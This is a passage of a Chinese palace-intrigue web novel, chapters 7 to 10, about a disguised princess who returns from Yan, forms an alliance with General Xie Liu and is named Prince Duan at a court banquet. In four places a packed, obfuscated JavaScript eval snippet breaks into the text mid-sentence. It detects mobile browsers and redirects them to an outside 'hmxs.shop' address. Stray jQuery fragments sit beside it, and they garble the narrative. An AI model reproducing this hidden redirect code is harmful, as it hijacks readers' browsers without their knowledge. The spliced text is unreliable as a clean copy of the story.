“并未。”姜宁任由柳窈娘替她系好披风,目光却随着前方的宫道不断延伸,“只是和太傅说了一会话。”
听到这话,柳窈娘心头一紧,急急道:“太傅刁难你了?”
姜宁摇头,没有再说话。
太和殿今日要设宴,不少宫人端着东西从上书房经过。看到姜宁时,他们都停下脚步,恭声行礼。众人知道今日之宴是为这位七殿下接风洗尘,偶有大胆的,自然免不得多看两眼,想要瞧瞧这位从燕国归来的七皇子到底长成何种模样。
“殿下?”柳窈娘唤了一声,姜宁这才
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632625|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回过神来。
“都平身,各自忙去吧。”姜宁收回目光,目光落在周遭的宫人身上,神色淡淡。
她沿着宫道向前行去,每一步都走的很稳。
姜宁和柳窈娘刚走到乾清宫,还未至宫门,守在门口的宫人便迎了上来。
柳窈娘瞥见宫人这般神色,心下一沉,急声问:“怎么了?”
宫人向姜宁福身,声音恭谨:“殿下,十三公主来了。奴婢不敢怠慢,已请公主移步偏殿,奉了茶水和糕点等您。”
柳窈娘听得这话,心下稍安。她下意识的看向姜宁,却见她脸上并没什么不耐。
姜宁吩咐人退下,将身上的披风解下递给柳窈娘,这才踏进了偏殿。
殿内暖意融融,将她身上的寒意吹去了几分。姜婉柔坐在座椅上,手拿桂花糕小口吃着。听见姜宁的脚步声,她连忙起身,小跑来到姜宁跟前,伸出右手拉住姜宁的手,含糊不清道:“七哥!”
嘴里的桂花糕还未来得及吞下,声音也带了些甜糯感。
姜宁的目光在姜婉柔拉住自己的那只手上,微不可察的皱了皱眉。她试图甩开那只手,可姜婉柔却越握越紧。
“七哥,你宫里的桂花糕怎么比母嫔宫里的香甜?”姜婉柔抬眸看向姜宁,一边说话,一边把左手捏着的桂花糕往嘴里塞。
柳窈娘来时,看到的便是这般场景。
“殿下。”柳窈娘适时开口,看向姜婉柔的眼里多了些许的柔和,“殿下宫里的桂花糕都是奴婢做的,自是和御膳房的点心味道不同。”
姜宁趁着姜婉柔被柳窈娘吸引过去的间隙,终于将手掌抽了回来。
姜婉柔对姜宁的抗拒并未察觉,反而继续开口问:“七哥,我能拿些回去给母嫔尝一尝吗?”
柳窈娘听得这话,刚准备答应,姜宁却已先开口,斩钉截铁道:“不行。”
姜婉柔愣住,一张小脸瞬间垮了下来,染上几分委屈:“为何不行?”
姜宁的目光落在姜婉柔的脸上,仍旧道:“不行就是不行。”
“我偏要!”姜婉柔跺了跺脚,扭头跑到方才坐着的地方,伸手抓起桂花糕便往嘴里塞,“七哥小气!”
姜宁皱眉,扭头吩咐道:“来人,把十三公主送回余嫔宫里去。”
送走姜婉柔后,姜宁用了午膳便歇下了。柳窈娘伺候在她跟前,想要问询几句,却又不知道该怎么开口。
她同姜宁十年未见,如今的姜宁于记忆中的女童相去甚远。如今的姜宁太过清冷,不过十六岁的年纪,却带着不符年纪的沉稳。那十三公主天真烂漫,又喜欢姜宁。她私心里盼着,希望十三公主能驱散姜宁周遭的些许寒意。
左右不过是些桂花糕点,她这些年都做习惯了,废不了什么功夫。
姜宁自是察觉到了柳窈娘的不安,犹豫再三,她还是选择开口:“这宫里,我只信娘亲一个。”
姜宁略显得有些沉闷的声音传入柳窈娘耳中,落在她心头,她不由得又红了眼眶。
姜宁忽然想起上书房姜婉柔的话来。
她说她是英雄。
若非无心,便是算计。
姜宁摇了摇头,不再去想她到底是有心还是无心,淡淡道:“生在天家,血脉亲缘,是最不值一提的东西。”
柳窈娘默然,不再说话。
姜宁在床上辗转反侧,怎么都睡不着,索性坐起身温了一会书。
“殿下,快酉时了。”柳窈娘进屋,低声开口。
听到这话,姜宁这才站起身,舒展了一下筋骨。
“走吧。”
姜宁应了一声。
8. 第八章
漫长的宫道仿佛没有尽头,红色的宫墙后是另一道宫墙,层层叠叠,分不清方向,一不留神就会迷失其中。
冷风掠过宫墙,吹动姜宁的衣衫,在风中猎猎作响。
她突然觉得有些冷了,紧了紧身上的披风。
她微微仰头,却见到本不该出现在这里的雀鸟从天际划过,留下一道弧线。
她目送着雀鸟飞离视线,思绪也随着它飘向远方。
父皇让她走东华门、住乾清宫,看起来恩宠非常,实际呢?没有欢迎仪式,没有宗庙觐见,若非是昨夜她表的衷心让他满意,恐怕连这次宴席都没有。
这就是帝王心术,既要施恩,又要折辱。
那又如何呢?
今夜的太和殿,不论等待她的是什么,她都不怕。
虚名和仪式从来都不重要,重要的是她已经成为了真正的姜望,拿到了这场权利争斗最核心的入场券。
“殿下?”
柳窈娘的声音从耳畔传来,姜宁收回目光,深吸一口气。冷气瞬间钻入咽喉,冲淡了胸口淤堵的感觉。她吐出一口浊气,迈步向着太和殿所在的方向行去。
行至宫道转角,檐下的阴影倾泻而下,吞没大半天光。
阴影中,响起细碎的脚步声。接着,一个略有些耳熟的男声响起:“殿下。”
姜宁驻足回头,对上了一张过分漂亮中显得有些冷峻的脸。他刚好站在明暗分界处,未被遮挡的天光如同有生命的弧线,沿着高挺的鼻梁和微薄的嘴唇下移,将他暴露在阳光下的半张脸映照的清晰如刻。
姜宁几乎是瞬间认出了那双眼睛,当即开口道:“谢将军。”
“殿下。”谢流开口,声音夹杂着浓重的冷意,“距离开宴还早,不知殿下可否移步……”
还不等谢流说完,姜宁已经回答:“自然。”
谢流颔首,转身便走向了更深的阴影之中。姜宁向柳窈娘打了个安心的手势,追上前去,跟着谢流拐入一处僻静的小道。
朱红色的宫墙高耸,遮蔽了大半的日光,没有温度的日光透过不远处的假山,在他们的脚下投下巨大的虚影。
“殿下信中所言可是真的?”姜宁刚刚站定,谢流便问询出声。
“自然。”姜宁开口,从腰间掏出一枚令牌。
古铜色的令牌上有些划痕,火焰浮雕围绕成一个圈,正中铭刻着“谢”字。大抵是这块令牌经常被人握在手中,火焰的末端隐隐泛出金属原有的光泽。
谢流几乎是在令牌出现的一瞬间就将其从姜宁手里抢了过来。他将那块令牌在手心,反复摩挲上面的道道刻痕,眼眶开始泛红。
“殿下……”谢流死死撰着令牌,由于太过用力,骨节隐隐有些发白,声音也带着止不住的颤抖,“你……从何处寻得此物?”
“我在燕国时,曾遇到一个叫昭宁的人。”姜宁的目光凝聚在谢流脸上,声音淡淡,“她把这个东西给了我,让我替她带回晟国交给将军。”
“那……”谢流喉结滚动,颤抖着声音开口,每一个字仿佛都是从齿缝间迸出,“她现在在哪里?”
“她死了。”
姜宁开口,短短三个字,却仿佛带着一种无形的力量,让站在她跟前的谢流晃了一下。
谢流张了张口,眼里逐渐染上些许水光。
“殿下信中所说,谢家之死别有他因,又是何意?”谢流开口,声音里带了些哽咽。
姜宁看向谢流微红的眼眶,说出的话却让谢流的脸越来越白:“昭宁说,谢家在淮水的作战计划被燕人提前知晓,所以才会全军覆没。此战里应外合,是针对谢家的……必杀之局。”
“是萧家?”
“昭宁并未告诉我。”
“七殿下不是蠢人。”谢流的目光倏然落在姜宁脸上,“一个能精准预估在何处遭遇刺杀,又知道如何借势破局的人,怎么会搬起石头砸自己的脚?”
“谢家失权,陆贵妃之子为质,我早该想到的。”谢流喃喃,“萧家,真是好深的算计。”
“答应昭宁的事,我做到了。”姜宁不想和谢流多做纠缠,眉头微蹙,声音也冷淡了几分,“谢将军若是无事……”
“殿下,我们合作。”
“我背后是陆家。”姜宁再次开口,声音没有丝毫波澜,“谢家灭族,陆家坐大。或许父皇正是为了敲打陆家,这才会允我入燕为质。”
“陛下的心思,臣不知晓。臣只知道,若陆家能为殿下所用,殿下也不会费力写信给我。”
“谢将军想同我合作,只是……”姜宁话音一顿,看向谢流的眼里多了几分玩味的神色,“我听闻,谢将军同萧相的孙女萧若雪青梅竹马,早定鸳盟。我若是没记错,皇后娘娘正是萧相嫡妹。”
“殿下刚刚回晟,对谢某的事倒是知之甚详。”谢流皱眉,周身的气息又冷了下去。
“不过是偶然得知罢了。只是不知道将军和萧姑娘这段姻缘,到底是恰逢其会,还是……”姜宁对谢流的语气变化毫不在意,反而唇角上扬,压低声音附在谢流耳边,“故意为之?”
随着姜宁的话音落下,空气都凝滞了几分。
谢流绷直脊背,唇角抿成一条直线。他看着退回原地的姜宁,目光落在她平静无波的眼睛上。漆黑的瞳孔里倒映出谢流的脸,她明明看着他,可她的眼神却仿佛越过他,不知道看向了哪里。
谢流自诩是从尸山血海拼杀而出,这一刻,却在身前这具略显得单薄的身体上,品出了一种莫名的肃杀感。
“我同若雪之间,是恰逢其会,也有故意为之。”谢流直视姜宁的目光,眼神澄澈,声音低沉,“我需要萧家帮我调查谢家大败的原因,萧家需要我的兵权同陆家分庭抗礼。只是如今殿下归来,比起萧家,我更愿意信任殿下。”
姜宁的睫毛微微颤动了一下,凝在了谢流的脸上。她轻轻开口,说出的话却尖锐:“若有朝一日,将军发现幕后之人正是萧家,将军届时,该如何自处?”
谢流静默,姜宁也不催促他。
宫巷深长,日光拾阶而下,终被暮色吞噬,带走最后一丝暖意。一阵阵冷风盘旋而过,吹动二人的衣摆,亦吹过谢流紧锁的眉头。
风中,夹杂着些许丝竹声,缥缈的如同来自另一个世界。
“谢家军三十万人的血海深仇,当用血来偿。”谢流开口,一字一顿。
他缓缓抬头,看向头顶四四方方的天空。恍惚间,他仿佛看到了三十万谢家军鲜活的面孔。他们穿着残破的甲胄,脸上满是血污,眼里是刻骨的恨意。三十万的目光凝在他身上,仿佛化作三十万把利刃,几乎要将他整个人洞穿。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632626|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
他深吸了一口气,冷气钻入肺腑,将他沸腾起来的血吹凉了些许。当他再次看向姜宁时,声音里满是决绝:“若事实果真如此,我甘愿成为殿下挥向萧家的刀,不论生死。”
姜宁依旧静静的站着,面上古井无波,眼底深处幽光一闪,快的无法让人捕捉。
“谢将军这把刀愿意为我所用自然极好。”姜宁沉默片刻,再次开口,“可我又怎么知道,将军会不会像对待萧家一样,在找到另一个盟友之后,将我弃如敝履?”
“这世间之人,终究是……”她微微歪头,凝视着谢流脸上的每一寸细微表情变化,“人心易变。”
谢流握住令牌的手越收越紧,那块令牌开始在手心里发烫。温度从掌心涌入四肢百骸,仿佛要将他灼烧殆尽。令牌上的“谢”字硌在掌心,每一笔每一画都像是融入了他的骨血。
谢流猝然向姜宁跪下,沉声开口:“臣听闻燕国有蛊,名曰云隐,母蛊持有者念头一动,便能让中蛊者生不如死。臣愿为殿下寻来母蛊,自服子蛊。”
姜宁垂眸看着他,眼睛倏然睁大。
她在燕国时,曾听过云隐的厉害。子蛊入体,终身受制。母蛊死亡,中蛊之人也会暴毙,是燕国用来控制死士最狠辣的手段。眼前这个少年将军,竟让她对他用云隐?
“将军可知云隐的厉害?”姜宁开口,声音轻得像叹息,“你才十八,大好年华……”
“臣知道。”谢流打断姜宁的话,声音坚定,“但三十万谢家军的血仇,值得臣押上性命。”
姜宁垂头,看着谢流笔直的脊背,蓦然间划过昭宁的脸。
她深吸一口气,将自己从过去的回忆中挣扎出来,落在了谢流的脸上:“我不需要一条受制于我的狗。”
接着,她伸出手,继续道:“我需要的,是心甘情愿与我同行的盟友。”
谢流微微一怔,目光凝聚在姜宁伸出的左手上。十指纤细修长,指尖在暮色中泛着白玉般的光泽。
“起来。”姜宁再次开口,声音里多了些淡淡的怒意,“昭宁曾说过,你们谢家的儿郎,骨头绝不会软。”
谢流握住姜宁的手,借着她手上的力道起身。掌心相触之处,是蚀骨的寒冷。
“今夜,父皇定会问你为何会出现在边境救我。”待谢流站定后,姜宁再次开口,“想来将军早有应对之策。”
“自然。”
“那我便放心了。”
“殿下。”姜宁正欲望离开,谢流突然再次开口,“不知殿下口中,那个叫昭宁的女子,埋骨何处?”
听到谢流提及昭宁,姜宁蓦然叹了一口气。
“我按照她的意思,将她埋在了淮水河边。”沉默良久,她再次开口,“她说,那里有她最爱之人的尸骨,她想去那里陪他。”
闻言,谢流眼眶又是一红。
他向着姜宁跪下,声音里满是悲伤:“多谢殿下为我嫂嫂收敛尸身,让她得以同谢某兄长团聚。”
二人不再多言,就在此处分道,各自向着太和殿所在的方向行去。
姜宁刚走出转角,柳窈娘便迎了上来,忧心道:“殿下,你没事吧?”
“没事。”
姜宁淡淡开口,再次仰头。
雀鸟早已远去,可属于她的棋局,早已经悄然开始。
9. 第九章
太和殿内,灯火如昼,还有一刻钟便至酉正。
宫人在大殿内来回穿梭,做着细密的检查,受邀的众人及其家眷均已到齐。众人三三两两的聚在一起,交谈的话题不外乎都与姜宁有关。觥筹交错尚未开始,目光流转间,已是暗流涌动。
殿外传来环佩撞击发出的声响,众人循声望去,正见姜宁穿着天青色的衣袍走了进来。
殿内烛火摇曳,方才还有些喧闹的大殿瞬间便安静了下来,唯有醇厚的沉香浮动其间,压住了满殿的衣香鬓影。
姜宁对落在身上的目光视而不见,只是轻轻颔首,向着被团团围绕的陆起走了过去。天青色的衣摆擦过鎏金的地面,如同青色莲花绽于金波之上。
周遭的众人见到姜宁到来,均自觉让开问候,脸上堆起谄媚讨好的笑意。
姜宁向众人一一颔首回礼,脚下步伐却未停止。他缓步走到陆起面前,微微低头,拱手低声道:“舅舅。”
陆起正在和人交谈,似乎并未注意到姜宁的到来。直至将话说完,这才转向姜宁。
“望儿。”陆起开口,声音沉稳,听不出喜怒,“十年未见,还是如小时候一般乖顺。”
姜宁神色不变,眼眸低垂,淡淡道:“母妃和舅舅的教诲,姜望不敢忘。”
陆起唇角牵起一抹弧度,眼里划过些许的玩味之色,再次开口:“燕地苦寒,倒是没磨平你这一身温润气度。”
他语气平淡,听不出是褒是贬。
“风沙砺玉。”姜宁开口,脸上也带了淡淡的笑意。
陆起不置可否,目光落在姜宁的衣服上,这才发现竟是前些时间江南上贡的雨过天青,只此一匹。妹妹向陛下讨要多日未果,居然穿在了她的身上。
“正如这江南所产的雨过天青。”姜宁注意到陆起的目光,微笑开口,“父皇赏赐我这匹布料,想来也是有了这层深意。”
“雨过天青确实珍贵,色泽独绝,天下无双。”陆起点头应答,脸上玩味之色更甚,“据那上贡之人说,这般颜色,需得老天爷赏脸。不仅要趁着云破天青那一刻定色,还要小心火候。多一分太沉,少一分则色浮,稍有不慎,便满盘皆输。他们染了数万匹,日夜不歇,这才偶得一匹罢了。”
他语气温和,绵里藏针。
周遭人自是听出了陆起的深意,却只以为是舅舅对于侄儿的敲打。
“舅舅见识广博,令人钦佩。数万匹才成如此一匹,果然珍贵非常。”姜宁并未在意陆起话里的奚落,反而抬眸迎向陆起的目光,笑着道,“这一匹能被进贡,那数万匹却不知流往何方,足见真正的珍宝,向来与数量多寡无关,而在其独一无二。”
“好小子!真是不吃亏!”陆起哈哈大笑,拍了拍姜宁的肩膀,随即话音一转道,“好了,我同诸位同僚还有话谈,你刚刚回来,想来还不适应,先去坐着歇息吧。”
姜宁拱手答是,向着御座下首走去。
大殿内再次热闹起来,唯有丝丝缕缕的目光不时扫过姜宁所在的方向。姜宁恍若未觉,只是静静看向前方。
“陛下驾到——”
尖亮悠长的唱喏声自大殿北侧传来,紧接着,身着明黄色龙袍的姜夔便出现在众人眼前。萧月言和陆欣荣立于左右,皆是一袭盛装。
殿内霎时安静,众人向着御座方向齐齐跪下。
“臣等躬迎陛下圣驾——”
“恭迎皇后娘娘,贵妃娘娘——”
山呼海啸声自下方响起,姜夔点头,坐于御座之上,缓缓开口:“众卿,平身。”
声音不高,带着天然的威仪。
“今日宫宴,是为朕第七子姜望所开。”他的目光在众人身上一扫而过,最终落在了那抹天青色身影上,嘴角噙着一丝淡淡的笑意,“望儿为晟国入燕十年得归,诸位不必拘礼,当尽欢才是。”
随着他的话音落下,云喜立刻会意,上前一步,高声道:“开——宴——”
丝竹之声悠然而起,打破了寂静。宫人们手捧珍馐美酒鱼贯而入,步履轻盈的在殿内来回穿梭。乐声、人声、杯盏声汇成一片,殿内的气氛再次活跃起来。
“陛下。”一曲毕,兵部侍郎李崇自人群中走出,跪于大殿正中。
姜夔执杯的手一顿,目光不着痕迹的从陆起身上划过,这才落在了李崇身上:“李爱卿,何事?”
“臣……”李崇停顿片刻,像是下了某种决心,再次开口,“要弹劾谢将军和七殿下暗通款曲,图谋不轨!”
随着李崇的话音落下,殿内响起阵阵抽气声。
姜宁和谢流应声跪下。
陆欣荣脸色一变,手里的酒盏砸落在地。她虽厌恶姜宁,可也知道如今姜宁取代了望儿的位置,与陆家和她,是一荣俱荣,一损俱损。
陆起面色铁青,看向李崇的怒光带了些隐隐的杀意。
萧月言和姜冀相视一笑。
“李崇。”姜夔开口,声音平缓,却仿佛重逾千金,“你可知构陷皇子,污蔑朝臣,是何等大罪?”
“臣知道!”李崇以头抢地,声音铿锵有力,“七殿下归国时曾在边境遭遇刺杀,得谢将军相救。彼时边关无战事,谢将军本该在京城,若不是二人早通款曲,如何能于万里外相迎?”
姜夔面沉如水,目光凝在姜宁和谢流身上,最终定格在姜宁身上,缓缓开口:“望儿,李爱卿所言,你作何解释?”
姜宁疾步走到李崇身侧跪下,面露惶恐,急急道:“父皇明鉴!儿臣入燕时不过六岁,从未见过谢小将军。归国时,在燕晟交界处遇袭。九死一生之际,幸得谢将军相救,此乃天大的恩情。”
“将军并非挟恩之人,救下儿臣后便迅速离开,未有多言,当日存活之人皆可为儿臣作证!”
“李侍郎此言,污蔑儿臣事小。”她话音微顿,声音陡然拔高,隐隐透出几分悲愤,“然,谢家军满门忠烈,三十万人埋骨淮水,若他们英灵在世,见谢家唯一血脉被如此污蔑,该何等心寒!”
姜宁伏首,向着姜夔一拜,字字铿锵:“儿臣冤枉,父皇明鉴!”
姜夔未露喜怒,亦没有让姜宁起身,目光转向一旁的谢流:“谢将军,你有何话说?”
“陛下容禀。”谢流拱手,脊身姿挺拔如松,“月前,臣埋伏燕地的探子送来密信。信中言,燕晟十年之约将至,边关燕人异动频繁,恐生事端。”
谢流微顿,再次开口,声音里满是肃杀的冷意:“接到密信,臣不敢怠慢,立即动身前往查看。至于救下七殿下,本是意外之喜,却因此获罪,微臣不服。”
谢流转头,看向跪伏在地的李崇,目光如电:“敢问李侍郎,若你我易位而处,看到皇子遇刺,难道要为了避嫌选择视而不见?”
话音落下,满殿死寂。
蟠龙金柱投下巨大的虚影,似要将所有人吞噬其中。
沉香浮动,夹杂着阵阵擂鼓般的心跳声。
“哒——”
姜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632627|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夔高坐御宇,手指轻扣龙椅扶手,发出一声巨响。
他的目光从众人脸上一一划过,目光所及之处,无不垂首。最终,他的目光落在了李崇的脸上。
“李崇。”姜夔轻轻开口,声音不怒自威,“你,可知罪?”
李崇浑身猛地一颤,身子摇摇晃晃,抖如筛糠。冷汗浸透朝服,贴在身上,让他忍不住打了个哆嗦。
“臣……臣……”李崇颤抖着声音开口,语无伦次,“臣……”
“陛下。”萧相萧逸山从人群中走出,走到了李崇身边。
“李侍郎言语失察,构陷皇子,污蔑将军,其行当罚。”萧逸山开口,声音沉稳,“然,他也是得知将领无诏出现在边境,又见其与皇子往来,思虑不周,方出如此妄言,其心可悯。”
“哦?”姜夔身子微微前倾,询问出声,“依照丞相的意思,当如何‘罚’,又当如何‘悯’?”
“如何圣断,全赖陛下。”萧逸山答。
姜夔笑笑,眸光转向一侧的萧月言和姜冀,最后落在了姜宁身上:“望儿,此事与你有关,依你之见,朕该如何做?“
姜宁猝然被姜夔点到,不由得一愣。片刻的愣神之后,她直起身看向姜夔,回答道:“回父皇,儿臣以为,丞相所言,老成持重,皆是为国考量。”
随即,她话锋一转,再次开口:“然,李侍郎未明辨事实便贸然上奏,是否有失偏颇?”
“李侍郎若真是为朝廷考量,为何不问边关为何会出现百余死士?为何不察儿臣为何遇袭?上下嘴皮一碰,便是儿臣与谢将军勾结。”姜宁蓦然转头看向李崇,眸光如电,“还是说,李侍郎根本不想查清真相,忘记臣子本分,只想构陷忠良?”
“臣……”李崇惨白着脸开口,却说不出一句完整的话。
姜宁每一个字落下,李崇的脸便煞白一分,到了最后,只能低头,不住擦拭额角的冷汗。
在场众人看着前方那天青色身影,心思各异。
“陛下。”
谢流再次开口,从怀中掏出一块令牌。
姜夔向云喜看了一眼,云喜会意,接过令牌来到姜夔面前。
铁制令牌还带着谢流的体温,摸上去倒是不冷。
“微臣的人清理尸体时,在那些人身上发现这块令牌。”谢流开口,声音沉沉,“令牌上有狼形图案,据微臣所知,正是燕国皇室的标识。”
“我的行程乃是绝密,燕人却能知晓。将军的意思是……”姜宁适时接话,声音里带了些难以置信,“晟国有人和燕国人合作,想要杀我?”
陆欣荣和陆起闻言,二人相视一眼,心头皆是一震。
“哦?”姜夔掀了掀眼皮,缓缓开口。他并未表态,只是将令牌拈起,在掌心反复把玩。狼形图纹在他掌中时隐时现,反射出刺目的冷光。
“陆卿。”姜夔看向陆起,唤的随意。
陆起躬身出列:“微臣在。”
“事涉七皇子,非同小可。你是她舅舅,她遇刺一事交给你,由你来查办此案,朕才安心。”说完,姜夔又转向跪在地上的谢流,“谢小将军既然归来,想来边关异动也不过是虚惊一场。”
末了,他看向跪在地上的李崇,唇角挑起一个似有似无的弧度。
“今日之宴,是贺朕的望儿归来,喊打喊杀总归不好,朕不做计较。”他略作停顿,声音陡然凌厉起来,“若有下次,定斩不饶。”
“微臣,谢陛下隆恩。”
10. 第十章
丝竹之声早已停歇,只能听见烛火燃烧发出的“噼啪”声。烛火映在众人脸上,神色各异。
“好了,都起来吧。”姜夔高坐御宇,目光落在了身侧的云喜身上,“云喜,宣旨。”
“诺。”
云喜应了一声,向前迈出两步。他拿出早早准备好的圣旨,在手中小心展开。
“奉天承运皇帝,诏曰。”
随着云喜略显得有些尖利的声音响起,下方刚刚起身的众人又齐齐跪下。
“咨尔皇七子姜望,为贵妃陆氏所出,秉性温良,谦和有礼。昔年国事维艰,尔以冲龄之岁,受命北上,客居异国。十载春秋,风霜砺节。虽居于虎狼之庭,却处险地而守心。尔之坚毅,朕甚怜之,尔之功绩,朕甚念之。今十年之约已至,尔得以归国,侍奉左右,以全人伦。”
“夫‘端’者,正直之意。尔在燕十年,能持身以正,守节不移,堪当此号。兹封尔为端王,赐居京城端王府,授金册金宝,享亲王禄,任仪制司主事。”
“布告天下,咸使闻之。”
“钦此。”
旨意宣读完毕,余音却仍在众人心中徘徊。
端王。
这个封号出现的一瞬间,在场众人无不在心中翻起惊涛骇浪。不为别的,只因这“端王”二字,正是陛下当年还是皇子时的封号。此等殊荣,天下间岂有第二个人享有?
更何况,还任命他为仪制司主事?
跪在前方的几位皇子面色骤变,垂首间,长袖下的手都握成了一个拳头。
姜冀额头青筋跳动,差点儿控制不住自己的表情。
“儿臣,谢父皇恩典。”
姜宁缓缓直起身,双手举过头顶,打破了大殿内的寂静。
云喜合上圣旨,将圣旨放在姜宁手上,微笑着低声开口,声音只有两人能听见:“老奴恭喜殿下。”
姜宁微微颔首,并未多言。
“好了,继续开宴吧。”
圣旨宣读完毕,姜夔再次开口。
丝竹之声再起,舞姬自殿外鱼贯而入。众人穿着渐变水色长裙,裙摆曳地,莲步微动,便如绿波荡漾,在大殿徐徐展开。
乐声阵阵,舞姬应声扭动,步履轻盈。翩若惊鸿,婉若游龙。水袖翻飞间,似有碧波流转。
纵然这舞蹈足够精妙,但席间的目光,却总是悄然落在姜宁身上。
姜宁端坐席间,手执玉樽,静静看着前方的舞蹈,对周遭的视线恍若未觉。
舞至酣处,领舞女子急速旋身,舞至姜宁跟前。水色长袖拂过案几边缘,带来一阵幽香。这幽香似有似无,不似寻常花香,倒带了些刺鼻的血腥味。
这股气味钻入鼻尖的瞬间,姜宁握杯的手突然一抖。
“啪——”
姜宁手中的酒杯滑落,砸在桌上,发出清脆声响。酒水四溅开来,染湿天青色的衣袍,留下不规则的泅痕。
舞姬探入袖中的手微微一顿,看向姜宁的目光中流露出些许的不解。少顷,她的手从袖中取出,做了一个拂袖动作,踩着音律向后退去,隐入众多舞姬之中,只留下淡淡的余香。
姜宁扶额站起,向姜夔拱手行礼道:“父皇,儿臣殿前失仪,脏了衣衫,有损观瞻,还请父皇允儿臣暂且告退,更衣后再来。”
姜夔的目光一动不动,只是欣赏着下方的舞蹈,毫不在意道:“准。”
“谢父皇。”
姜宁向着姜夔再次行礼,带着柳窈娘出了太和殿。刚走了没几步,姜宁突然驻足,扭头对柳窈娘道:“嬷嬷,我头有些疼,你去宫里将衣衫取来,我在偏殿等你就是。”
柳窈娘不疑有他,点头应是,屈膝行礼后,这才向着乾清宫走去,逐渐没入在宫灯摇曳的长廊中。
姜宁扶额,晃晃悠悠的迈入偏殿。
值守的婢女无声上前,奉上一杯醒酒茶后便识趣的退出门外。临走时,还不忘记合上殿门。
门轴转动的细微响声后,房间里便安静了下来。正殿的丝竹声影影绰绰,听不真切。淡淡的沉香萦绕鼻尖,让她的一颗心也跟着静了许多。
姜宁啜了一口茶,暖意入胃,头也不那么昏沉。她半撑着头,凝视着浮沉的茶叶,仿佛能从其中窥破命运的先机。
“吱呀——”
窗户被掀开一条缝,冷风倏得钻了进来,将屋子里的暖意冲散。烛火摇曳间,投下巨大的虚影。方才的舞姬从窗户翻了进来,动作迅捷,落地无声。
“殿下。”舞姬莲步轻移,来到姜宁跟前恭敬跪下,“方才殿下摔杯,奴婢便没有拔剑。并非奴婢贪生怕死,只是事发突然,奴婢……”
“你做的没错,起来吧。”姜宁点头,并未多做计较,又喝了一口茶道,“谢流提前一步,已经把晟燕勾结刺杀我的事坐实。既如此,便无需做不必要的牺牲。”
听得姜宁的话,舞姬紧绷的脊背这才逐渐松了下来。她抬起头向姜宁看去,却见烛火在她脸上跳跃,她脸上的神色也晦暗莫名。
“她……”姜宁低头,茶盖无意识的在杯口边缘转圈,再次开口,“还好吗?”
“司徒姑娘说。”听到姜宁的话,舞姬眼眶微红,她急忙低下头,眼眸微垂,回答道,“阁主常年服用麝香,本就伤了根本,身子早已经是强弩之末。此番受刑,血气溃散,若非她强撑着一口气,又有司徒姑娘的秘药吊着,早已经成了死人。”
“当啷——”
姜宁指间的茶杯轰然碎裂,碎瓷混着滚烫的茶水溅上衣袖,她却浑然未觉。
“你回去替我告诉她。”姜宁再次开口,声音里染了难言的杀意,“我已经和谢流达成同盟,定会查出十年前谢家军兵败的原因,以慰三十万谢家军英灵。”
“还有……让她好好活着,拼尽一切活着。”姜宁的拳头死死握紧,骨节泛白,脸上带了几分狰狞,“活到我割下燕三皇子头颅送给她的那天。”
“是!”
笃笃——
门口传来敲门声,舞姬再向姜宁行礼,又从窗户翻出,消失在沉沉夜色中。
“进。”
得到姜宁的许可,柳窈娘这才推门走了进来。她手捧着一件月白色长衫,额头还带着微微的汗意,走到姜宁跟前,开口道:“殿下,奴婢将衣服拿来了。”
说完,她便放下衣衫,伸手准备替姜宁更衣。
当柳窈娘的手触碰到姜宁腰带的一瞬间,姜宁的身体一僵,下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632628|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意识抓住了她的手。
姜宁的动作太过突然,柳窈娘惊愕抬头,正对上姜宁的目光。姜宁的眼神毫无温度,有的是厌恶和疏离。她被姜宁的目光烫到,只觉得像是被一把刀直直插入心口,瞬间脸色煞白。
姜宁见状,不由得一愣。
她眼里的冰霜一瞬消融,变成了浓重的悔意。她敛去周身的冷意,上前一步抱住柳窈娘,将头埋在她脖颈间,低声唤:“娘亲。”
“对不住,吓到你了。我只是……不习惯,也不能。”姜宁吸了吸鼻子,声音里带了些哽咽,“你知道的,我身在异国,身份不能被旁人知晓,自然是不能让任何人……”
